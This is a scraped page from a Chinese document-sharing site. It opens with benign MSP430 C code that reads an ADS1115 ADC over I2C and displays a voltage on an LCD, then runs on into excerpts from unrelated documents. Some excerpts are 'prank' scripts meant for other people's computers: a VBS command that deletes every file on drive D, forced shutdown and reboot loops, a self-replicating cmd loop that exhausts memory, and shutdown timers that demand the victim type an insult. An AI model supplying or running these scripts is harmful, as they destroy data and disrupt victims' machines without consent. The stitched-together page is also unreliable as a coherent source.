搜档网
当前位置:搜档网 › ads1115程序详细解说

ads1115程序详细解说

ads1115程序详细解说
ads1115程序详细解说

//说明:iic.h采用的是模拟iic,和驱动24c02相似,故不再重复,lcd12864.h是串行通信方式,也不再啰嗦,这是主程序。

#include "iic.h"

#include "lcd12864.h"

uchar a[10]="0123456789";

uchar b[16]="The V olt: . V";

uchar table[4],ReadBuffer[16],buffer[16];

uchar table1[16]=" 欢迎光临";

uchar table3[16]="当前电压是如下:";

uchar table2[16]="创新实验室sj618";

uchar table0[16]= " V";

unsigned long sum = 0;

uint real;

//配置ads1115

void Confige1115 ()

{

unsigned char i;

table[0] = 0x90;//CMD_Write;

table[1] = 0x01;//指向配置寄存器

table[2] = 0xC2;//设置配置寄存器的高八位1100 0101,即AINp=AIN0,AINn=GND;满量程FS=+-4.096;连续转换模式

table[3] = 0xe3;//设置配置寄存器的低八位1100 0101,即

start();//发送起始信号

for(i=0;i<4;i++)

{

shout(table[i]);//将table里面的数写入ads1115

_NOP();

}

stop();//发送停止信号

}

//指向ADS1115指针寄存器用于准备读取数据

void PointRegister (void)

{

unsigned char i;

table[0] = 0x90;//写

table[1] = 0x00;//指针指向转换寄存器

start();//发送起始信号

for(i=0;i<2;i++)

{

shout(table[i]);//将table里面的数写入ads1115

delay(5);

}

stop();//发送停止信号

}

//读转换寄存器里面的值

uint read()

{

uint result,resulth,resultl;

start();

shout(0x91);

resulth = shin(); //高八位

resultl = shin(); //底八位

stop();

result=(resulth<<8)|resultl;

if(result>0x7fff)

result=~result+1;//用于测量负电压,负电压从8000~ffff,负电压与正关于0有类似对称关系,按位取反后+1相同

return result;

}

//获取最终模数转换之后的结果

uint getad()

{

uint value;

Confige1115();

_NOP();

PointRegister();

_NOP();

value=read();

return value;

}

void main()

{

// Stop watchdog timer to prevent time out reset

uchar j,i,ptr[4];

WDTCTL = WDTPW + WDTHOLD;

//使用外部高频晶体振荡器

BCSCTL1&=~XT2OFF;

do{

IFG1&=~OFIFG;

for(j=0XFF;j>0;j--);

}while((IFG1&OFIFG));

BCSCTL2|=SELM_2;

init_lcd();//初始化液晶屏

delay(10);

while(1)

{

for(i=0;i<16;i++)

sum+= getad();//将ad转换的值赋给sum,取16次转换的平均值

sum>>=4;//左移相当于除以16

real=(3.3*sum/32768)*1208-90;//4.096*(2/3)=2.731,因为参考电压3.3/2.731=1.2084,再扩大1000倍便于显示

//对于AINn不是GND的情况,+FS最高为7fff,最低-FS为1000,只显示0~+FS只除以32768,

//90用于误差矫正

ptr[0] = real / 1000; //最高位

ptr[1] = (real - ptr[0]*1000)/100;//次高位

ptr[2] = (real - ptr[0]*1000 - ptr[1]*100)/10;//次低位

ptr[3] = (real - ptr[0]*1000 - ptr[1]*100 - ptr[2]*10); //最低位

b[10]=a[ptr[0]];

for(i=1;i<4;i++)

b[i+11]=a[ptr[i]];//b[11]显示“V”符号

display_12864(1,0,table1);

display_12864(2,0,table2);

display_12864(3,0,table3);

display_12864(4,0,b);

}

}

设计报告——温控电路设计

温控电路设计 报告书 姓名: 学校: 专业: 完成日期:2014/05/16

目录 1.设计要求 (1) 2.总体设计方案 (1) 2.1原理分析 (1) 2.2功能模块的实现 (1) 2.2.1控制模块 (1) 2.2.2温度采集模块 (1) 3.控制程序设计 (2) 3.1程序流程图 (2) 3.2程序模块说明 (2) 附录 (3) 1.主函数 (3) 2.ADS1115驱动程序 (6) 3.原理图 (13)

1.设计要求 设计一个温度测量电路,根据设定温度和测量值比较实现以下控制: 定义: 设定温度:ST(单位℃) 测量温度:T(单位℃) 控制逻辑要求: 当ST> T+2时,继电器闭合(如果当前继电器为断开状态,并且断开时间不够3分钟,不允许闭合); 当ST

ADS1115数据手册中文翻译

9.3功能说明 9.3.1多路复用器 9.3.2模拟输入 9.3.3满量程(FSR)和LSB大小 9.3.4参考电压 9.3.5振荡器 9.3.6数字比较器(仅ADS1114和ADS1115) 9.3.7转换就绪引脚(仅适用于ADS1114和ADS1115) 9.3.8 SMbus警报响应 9.4设备功能模式 9.4.1复位和上电 9.4.2操作模式 9.4.3低功耗的Duty Cycling 9.5编程 9.5.1 I2C接口 9.5.2从模式操作 9.5.3写入和读取寄存器 9.5.4数据格式 9.6Register Map 9.6.1地址指针寄存器(地址= N / A)[reset = N / A] 9.6.2转换寄存器(P [1:0] = 0h)[reset = 0000h] 9.6.3配置寄存器(P [1:0] = 1h)[reset = 8583h] 9.6.4 Lo_thresh(P [1:0] = 2h)[reset = 8000h]和Hi_thresh(P [1:0] = 3h)[reset = 7FFFh] 10应用与实施 10.1申请信息 10.1.1基本连接 10.1.2单端输入 10.1.3输入保护 10.1.4未使用的输入和输出 10.1.5模拟输入滤波 10.1.6连接多个设备 10.1.7快速入门指南 9.3功能说明 9.3.1多路复用器 ADS1115包含输入多路复用器(MUX),如图25所示。可以测量四个单端或两路差分信号。另外,AIN0和AIN1可以与AIN3差分测量。多路复用器由Config寄存器中的MUX [2:0]位组成。当测量单端信号时,ADC的负输入通过多路复用器内的开关内部连接到GND。

stm32用硬件i2c读取16位AD:ADS1115

#include "stm32f10x.h" #include "math.h" #include "delay.c" //包含delay_us(--); delay_ms(--); unsigned char BUF[8]; //----------结构体声明-------------------------------// void RCC_Configuration(void) //打开各个模块时钟 { RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOD, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOE, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO, ENABLE); RCC_APB1PeriphClockCmd(RCC_APB1Periph_USART2,ENABLE); RCC_APB1PeriphClockCmd(RCC_APB1Periph_I2C1, ENABLE); } //----------------------------------------// void I2C_Configuration(void) //硬件iic初始化 { I2C_InitTypeDef I2C_InitStructure; I2C_InitStructure.I2C_Mode = I2C_Mode_I2C; I2C_InitStructure.I2C_DutyCycle = I2C_DutyCycle_2; I2C_InitStructure.I2C_OwnAddress1 = 0xA0; I2C_InitStructure.I2C_Ack = I2C_Ack_Enable; I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_7bit; I2C_InitStructure.I2C_ClockSpeed = 100000; I2C_Cmd(I2C1, ENABLE); I2C_Init(I2C1, &I2C_InitStructure); } //-----------------------------------------------------------------// void USART2_Configuration(void) //串口配置初始化:USART2 { USART_InitTypeDef USART_InitStructure; USART_https://www.sodocs.net/doc/2f16215429.html,ART_BaudRate = 14400; USART_https://www.sodocs.net/doc/2f16215429.html,ART_WordLength = USART_WordLength_8b; USART_https://www.sodocs.net/doc/2f16215429.html,ART_StopBits = USART_StopBits_1; USART_https://www.sodocs.net/doc/2f16215429.html,ART_Parity = USART_Parity_No; USART_https://www.sodocs.net/doc/2f16215429.html,ART_HardwareFlowControl =USART_HardwareFlowControl_None;

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

基于51的ads1115程序编写

/*------------------------------------------------------------------------------------------------------------------------------------------*/ /*--*************************功能:【ADS1115单端输入检测电压】********************--*/ /*--*************************CPU:【STC12C5A60S2】*******************************--*/ /*--*************************ADC芯片:【ADS1115(2差分输入或4单端输入)】***********--*/ /*--*************************液晶:【LCD1602】************************************--*/ /*--*************************ADC与单片机连接:【SCL:P1.0 , SDA:P1.1】*******************--*/ /*--*************************检测范围:【0.00~4.99V】*********************************--*/ /*----------------------------------------------------------------------------------------------------------------------------------------*/ #include #include #define uint unsigned int #define uchar unsigned char #define _Nop() _nop_() /*------------------------以下为LCD1602显示模块端口定义及函数声明-----------------------*/ sbit lcd_rs_port = P1^7; /*定义LCD控制端口*/ sbit lcd_rw_port = P1^6; sbit lcd_en_port = P2^4; #define lcd_data_port P0 unsigned char num_char_table[] = {"0123456789ABCDEF"}; unsigned char Lcd_Dis1_table[] = {"Volt: V "}; //电压显示框架 unsigned char pos_char_table[] = {" 67.9AB V "}; //电压显示位置 void lcd_delay(uchar ms); //LCD1602 延时 void lcd_busy_wait(); //LCD1602 忙等待 void lcd_command_write(uchar command); //LCD1602 命令字写入void lcd_system_reset(); //LCD1602 初始化 void lcd_char_write(uchar x_pos,y_pos,lcd_dat); //LCD1602 字符写入 void lcd_bad_check(); //LCD1602 坏点检查 void Num_to_Disp(uint Num); //LCD1602 数据处理 void LcdDisp(uint num); //LCD1602 数据显示 void delay_1ms(uchar x); //LCD1602 延时1ms /*------------------------以下为ADS1115模块端口定义及函数声明--------------------------*/ sbit SCL = P1^0; sbit SDA = P1^1; #define TRUE 1 #define FALSE 0 unsigned int Config; unsigned char Writebuff[4],Readbuff[3]; unsigned int Result[2]; int D_ADS; //转换的数字量 #define Accuracy 32768 //定义ADC精度,ADS1115单端输入时15位

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

直流电子负载论文

简易直流电子负载(C题) 【本科组】 摘要 本系统以STM32F103VET6为控制核心,采用D/A TLV5616控制运放LM358驱动N沟道增强型P-MOSFET CSD17505Q5A,通过负反馈实现直流电子负载的恒流工作模式。同时采用电流并联检测芯片INA282将电流反馈至MCU,通过A/D 采样检测实际电流与D/A设定电流的差值,利用PID控制实现无净差控制,提高了电流控制的精度。其中PID参数通过遗传算法进行自整定,预设了一组较优PID参数,在实际高精度测量中,也可以通过重新整定更新PID参数。系统工作电压范围0.2-18V,电压分辨率为0.5mV,精度恒为±0.25mV,工作电流范围0-1000mA,分辨率0.2mA,精度恒为±0.1mA,在满足设计要求的情况下具备了很高的恒流精度。另外,通过对继电器的控制,实现了过压保护与自恢复功能,还具备声光报警等实用功能。 在大功率的应用需求中,本系统可以通过多个P-MOSFET并联扩流很方便的实现。同时在不改变电路的情况下,通过软件更新还可实现直流电子负载的恒阻和恒功率方式运行。 关键词:直流电子负载;恒流模式;高精度高分辨率;PID参数自整定

一、系统方案 本系统主要由MCU控制模块、恒流模块、电压采样模块、电流采样模块、A/D D/A 转换模块、电源模块组成,下面分别就这几个模块进行方案论证及选择。 1.1电子负载及恒流方案的论证与选择 本题要求制作一台恒流(CC)工作模式的简易直流电子负载。即在电压输入低于18V的情况下,实现100mA~1000mA的恒流工作控制。 方案一:传统电子负载。运用传统的电子负载设计方式,利用电力电子器件的特性,通过分析等值电路,用电力电子元件搭建电子电路来模拟负载,可以实现定电流特性。但传统方案调节不够方便、精确。 方案二:PWM控制型电子负载。单片机输出一定占空比的PWM控制信号,控制功率电路MOS管的导通和关断时间,让功率消耗在串接的电阻上,来获得实际所需的工作电流、电压。电路中的检测电路为电压、电流负反馈回路,通过A/D采集到单片机,与预置值进行比较,作为单片机进一步调节PWM占空比的依据。此方案开关管工作在开关状态,损耗小,发热低,但电路纹波较大,不利于实现恒流负载的精确控制。 图1 PWM控制型电子负载 方案三:能量回馈型电子负载。待测电源通过DC/DC升压电路变换为高压直流电,再通过逆变变为交流回馈到电网。此方案能实现电能的再生利用,多用在大功率的直流电子负载上。在小功率、低电压直流电子负载中应用此方案,DC/DC部分要完成将低压电能变为可供逆变器输入的高压,输入端的低压大电流、输出端的高压低电流导致设计难度变大,且采用逆变方案节省的能量也很有限,性价比很低。

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

ads1115程序详细解说

//说明:iic.h采用的是模拟iic,和驱动24c02相似,故不再重复,lcd12864.h是串行通信方式,也不再啰嗦,这是主程序。 #include "iic.h" #include "lcd12864.h" uchar a[10]="0123456789"; uchar b[16]="The V olt: . V"; uchar table[4],ReadBuffer[16],buffer[16]; uchar table1[16]=" 欢迎光临"; uchar table3[16]="当前电压是如下:"; uchar table2[16]="创新实验室sj618"; uchar table0[16]= " V"; unsigned long sum = 0; uint real; //配置ads1115 void Confige1115 () { unsigned char i; table[0] = 0x90;//CMD_Write; table[1] = 0x01;//指向配置寄存器 table[2] = 0xC2;//设置配置寄存器的高八位1100 0101,即AINp=AIN0,AINn=GND;满量程FS=+-4.096;连续转换模式 table[3] = 0xe3;//设置配置寄存器的低八位1100 0101,即 start();//发送起始信号 for(i=0;i<4;i++) { shout(table[i]);//将table里面的数写入ads1115 _NOP(); } stop();//发送停止信号 } //指向ADS1115指针寄存器用于准备读取数据 void PointRegister (void) { unsigned char i; table[0] = 0x90;//写 table[1] = 0x00;//指针指向转换寄存器 start();//发送起始信号 for(i=0;i<2;i++) { shout(table[i]);//将table里面的数写入ads1115 delay(5); }

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

ADS1115程序代码 参赛必备

#include "ads1115.h" #include "ap_i2c.h" static void Confige1115 (unsigned char port); static void PointRegister (void); static void ReadData (unsigned char chn, unsigned char cnt); unsigned char WriteIntBuf[4], WritepointBuf[2], count = 6,ReadBuffer[64];; void delay (unsigned int delay) { while(delay--); } /****************************************************************************** * * Function Name : Confige1115 * Description : 延迟时间 * Input : None * Output : None * Return : None * Attention :获取ADS1115模拟转换结果 ******************************************************************************* / void Get_ATOD (unsigned char channel,unsigned char cnt) { static unsigned char chn; chn = channel; Confige1115(channel); delay(1000); PointRegister(); delay(1000); ReadData(chn,cnt); delay(1000); } /****************************************************************************** * * Function Name : Confige1115 * Description : 延迟时间 * Input : None * Output : None * Return : None * Attention :配置ADS1115 ******************************************************************************* /

vbs整人代码大集合1

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do

整人代码大全

整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1s if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”, 保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。

善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机, 不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true

ADS1115 超小型,低功耗,16双牛逼的 模拟-数字转换器中文资料

?特点 ?应用 ?描述 ?订购信息 ?绝对最大额定值 ?电气特性 ?引脚配置 ?时序要求 ?概览 ?快速入门指南 ?复用器 ?模拟输入 ?满量程输入 ?数据格式 ?走样 ?操作模式 ?复位和上电 ?低功耗税骑自行车 ?COMPARATOR(ADS1114/15只) ?转换就绪PIN(ADS1114 / 5只)

?SMBus报警反应 ?I2C接口 ?I2C地址选择 ?I2C广播呼叫 ?I2C速度模式 ?从属模式操作 ?接收模式 ?传输模式 ?写/读寄存器 ?寄存器 ?指针寄存器 ?转换寄存器 ?CONFIG寄存器 ?lo_thresh与Hi_thresh寄存器?应用信息 ?基本连接 ?连接多个设备 ?GPIO端口通信 ?单端输入 ?低侧电流监视器

- ADS111 3 ADS111 月4 ADS1115 www.ti.co 米SBAS444A 2009年5月- 2009年8月修订 超小型,低功耗,16双牛逼的模拟-数字转换器 检查样品:ADS1113 ADS1114 ADS1115 特点 ?超小型QFN封装:2毫米×1.5毫米×0.4毫米 ?宽电源电压范围:2.0V至5.5V ?低消耗电流:连续模式:只有150 μ单次模式:自动关闭 ?可编程数据速率:8SPS到860SPS ?内部低漂移电压基准 ?内部振荡器 ?内部PGA ?我2C?接口:引脚可选择的地址 ?四个单端或两个差分输入(ADS1115) ?可编程比较器(ADS1114和ADS1115) ?工作温度:-40°C至+140°C时 应用 ?便携式仪表 ?消费品 ?电池监控 ?温度测量 ?工厂自动化和过程控制 描述 ADS1113,ADS1114和ADS1115是高精度模拟到数字转换器(ADC)号决议第16位,超小型,无铅QFN-10封装或MSOP-10封装中提供。的ADS1113/4/5设计精度,功耗和易于记住的实施。ADS1113/4/5功能板载参考和振荡器。数据传输通过一个I 2 C兼容串行接口,四个I 2 C 从地址。ADS1113/4/5操作范围从2.0V至5.5V单电源供电。 ADS1113/4/5可以执行转换速率高达每秒860个样本(SPS)。板载PGA的ADS1114和ADS1115提供从电源的输入范围为±256mV的低,允许大型和小型的信号进行高分辨率测量。ADS1115还设有一个输入多路复用器(MUX),提供两个差分或四个单端输入。 ADS1113/4/5工作在连续转换模式或单拍模式,自动权力转换后,大大降低了空闲期间的电流消耗。被指定的ADS1113/4/5从-40°C至+125°C。

推荐-直流电子负载设计报告 精品

“简易直流电子负载”设计报告 摘要:本系统设计制作了一台恒流工作模式的简易直流电子负载。通过按键、LCD显示,AD/DA模块、恒流电路及功率器件搭建电路。运用MSP430G2553单片机精确控制恒流电流值,可以满足基本要求(1)、(2)、(3);自制了一个符合发挥部分(1)的稳压电源,通过测量达到了发挥部分(2)的要求,通过改变负载电阻Rw达到发挥部分(3)的要求。本系统能够把负载两端电压、流过负载电流和负载调整率直观的在LCD上显示,具有便携(电池供电),精确等特点。 关键字:恒流功率器件AD/DA MSP430G2553 负载调整率 一、模块设计方案 1.1 单片机系统 方案一、使用AT89C51单片机系统,At89C51是一个低功耗的CMOS8位单片机,片内含有4K bytes存储器和128bytes的随机数据存储器,片内集成通用8位中央处理器和ISP Flash存储单元。 方案二、使用MSP430g2553单片机系统,其可在1.8~3.6V的低电压范围内工作,具有超低功耗的特点;有5种节能方式和基本时钟模块配置;内置16位定时器,多达20个支持触摸感测的I/O引脚和欠压检测器,MSP430g2553功耗低。 综合考虑,方案二中单片机系统,性价比高,运行速度高;所以采用方案二。 1.2DA模块 方案一、使用DAC0832,最常用的器件,易于使用,硬件接口简单,编程容易,缺点精度只有8位,达不到设计要求。 方案二、TI公司生产的TLV5616。这是一个12位的数模转换器。带有灵活的4线串行接口,可以无缝连接TMS320,SPI,QSPI和Mircrowire串行口。数字和模拟电源分别供电,电压范围2.7V~5.5V。输出缓冲是2倍增益rail-to-rail输出放大器,输出放大器是AB类以提高稳定性和减少建立时间。rail-to-rail输出和关电方式非常单电源、电池供电应用。通过控制字可以优化建立时间和耗化比且精度达到设计要求。综合考虑,我们选用方案二。 1.3恒流电路模块 方案一、采用稳压器来构成恒流源,LM7805是三端固定式集成稳压器,输出的电流I=(Uo’/R1+I2);式中I2是7805的静态电流,数值非常之小,当R1较小I1较大时,I2可忽略不计;当R2变化时,LM7805改变自身的电压差来维持电压不变。该电路结构简单,但不能实现数控。如图1.

基于ADS1115多通道低功耗环境参数检测系统设计

第30卷 第3期 苏州科技大学学报(工程技术版)V ol. 30 No. 3 2017 年 9 月Journal of Suzhou University of Science and Technology(Engineering and Technology)Sep.2017 基于ADS1115多通道低功耗环境参数 检测系统设计 李长才肖金球4华猛^ (1.苏州科技大学电子与信息工程学院,江苏苏州215009;2.苏州市智能测控工程技术研究中心,江苏苏州215009) 摘要:为了可靠准确地检测环境参数,尽可能降低功耗,设计了基于ADS1115多通道低功耗检测系统。采用 ADS1115作为数据采样与转化模块,STM32处理器作为控制与处理模块。通过配置ADS1115寄存器,进行通道转换 与数据采集。利用STM32的待机模式,大大降低了系统功耗。给出了 ADS1115芯片的简介、硬件设计方案、软件实现 方法以及最终测试结果。经测试,该检测系统具有功耗低、体积小、可靠稳定以及功能扩展性好等特点,适用于对功 耗要求比较高的数据采集与测量环境中。 关键词:ADS1115;参数检测;多通道;STM32;低功耗 中图分类号:TP274 文献标识码:A文章编号:2096-3270(2017)03-0077-04 当前,模数、数模转化器[1]已经被广泛的应用在工业、通信、汽车及消费类领域,在电子智能测量技术的 高速发展的趋势下,对数据采集与转换的要求也越来越高。特别是在电能供应不便的地方,数据采集需要的 电能只有通过电池或太阳能板提供,所以需要模数转换器具有低功耗特性。此外,数据采集检测系统还需要 稳定、可靠、安全地运行,实现对数据的测量与监控。ADS1115不仅具有低功耗的特性,而且体积小、精度高,集成了多路复用器以及増益放大器等部件,简化了外围电路的设计。在特定的场合,能够充分发挥其优势。该文设计了基于ADS1115多通道低功耗环境参数检测系统I利用ADS1115单次转化模式以及STM32处 